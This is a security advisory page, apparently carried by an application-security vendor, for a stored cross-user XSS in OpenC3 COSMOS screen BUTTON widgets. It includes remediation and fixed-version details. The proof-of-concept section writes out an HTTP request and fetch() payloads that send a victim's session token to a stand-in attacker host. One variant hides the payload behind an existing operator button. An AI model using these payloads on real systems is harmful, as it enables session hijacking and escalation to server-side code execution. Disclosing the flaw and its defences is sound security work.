Summary
OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget
A user who can save a telemetry screen (permission system_set) can embed JavaScript in a screen BUTTON widget. The BUTTON widget eval()s the stored button text in the browser when the button is activated, and screens are shared content rendered to other users in the scope. As a result, an attacker's stored JavaScript executes in a different operator's authenticated session, a stored, cross-user XSS (not self-XSS). The payload runs in the COSMOS origin and can read localStorage.openc3Token (the victim's session token), enabling session/account takeover and, via the victim's privileges, a path to server-side code execution through the Script Runner.
The site's Content-Security-Policy permits 'unsafe-inline'/'unsafe-eval' (see "Contributing factor"), so the injected script runs unimpeded.
- Product: OpenC3 COSMOS (Core; likely Enterprise, see scoping note)
- Affected version: confirmed 7.2.0 (latest, tested 2026-06-25); the code path is present on
main. Lower bound for maintainer to confirm. - Reporter: Arpit Kubadia
Description & root cause
- Screen save (the store):
POST /openc3-api/screen→ScreensController#create(openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43) persists the raw screen text afterauthorization('system_set'). No sanitization of the screen body. - The sink (the execution): the
BUTTONwidget stores the button's action as its second parameter andeval()s it on click,openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109:const lines = this.eval.split(';;') // this.eval == parameters[1] from the stored screen ... const result = eval(lines[i].trim()) // attacker-controlled string -> arbitrary JS in the victim's session - Cross-user delivery: screens are stored per-scope and rendered to any user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser.
- Contributing factor (CSP):
openc3-traefik/traefik.yaml:63setsscript-src 'unsafe-inline' 'unsafe-eval' https: blob: ...on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.)
Proof of Concept
A. Minimal PoC, a button that steals the viewer's token (verified)
Authenticated as any user (Core) / a system_set user (Enterprise), store a screen:
POST /openc3-api/screen HTTP/1.1
Host: localhost:2900
Content-Type: application/json
Authorization: ses_<YOUR_TOKEN>
Content-Length: 224
{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"}
→ HTTP 200, body true. Trigger (as the victim): open http://<host>:2900/tools/tlmviewer → Target INST, Screen XSSPOC → click Refresh. The victim's session token is exfiltrated to ATTACKER-COLLABORATOR. (Verified: an out-of-band request carrying a live ses_… token was received at the attacker host.)
A purely visual variant: replace the action with alert(localStorage.openc3Token).
B. Realistic exploitation, hijack an EXISTING operational screen (no lure)
The minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators already use, hiding the payload behind a button they already click:
- The
BUTTONaction iseval'd afterthis.eval.split(';;'), so appending;; <payload>to an existing button keeps the original command working and adds the attacker's code. The operator sees no change. - Example: take the stock
INST COMMANDINGscreen'sStart Collectbutton (which sendsapi.cmd('INST COLLECT ...')) and append:
Re-save the screen (... + " ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))"POST /openc3-api/screen, same route). Now every operator who opens COMMANDING and clicksStart Collectduring normal operations sends the real command and leaks their session token. No new button, no behavioral change, no social-engineering lure.
Impact
The injected script runs with the victim's session in the COSMOS origin. It can:
- Exfiltrate the victim's session token (
localStorage.openc3Token) → session/account takeover (the token is a bearer credential accepted in theAuthorizationheader). - Act as the victim against the API, and, for a victim with script privileges, pivot to the Script Runner to achieve server-side code execution (the documented escalation chain).
This is cross-user / persistent: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-77394 has a CVSS score of 7.6 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.3.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Do not
eval()screen-supplied strings. Replace theBUTTONwidget'sevalwith a constrained, non-evalcommand interface (an allow-listed API surface / safe expression evaluator), or sandbox it. - Tighten the CSP (
openc3-traefik/traefik.yaml): remove'unsafe-inline'/'unsafe-eval', move to per-requestnonce+'strict-dynamic', addobject-src 'none',base-uri 'self',frame-ancestors 'self'. This alone neutralizes injected inline/eval'd script. - Treat screens as untrusted, cross-user content, escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general
system_set.
Frequently Asked Questions
- What is CVE-2026-77394? CVE-2026-77394 is a high-severity cross-site scripting (XSS) vulnerability in @openc3/vue-common (npm), affecting versions >= 5.0.6, <= 7.2.1. It is fixed in 7.3.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-77394? CVE-2026-77394 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @openc3/vue-common are affected by CVE-2026-77394? @openc3/vue-common (npm) versions >= 5.0.6, <= 7.2.1 is affected.
- Is there a fix for CVE-2026-77394? Yes. CVE-2026-77394 is fixed in 7.3.0. Upgrade to this version or later.
- Is CVE-2026-77394 exploitable, and should I be worried? Whether CVE-2026-77394 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-77394 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-77394? Upgrade
@openc3/vue-commonto 7.3.0 or later.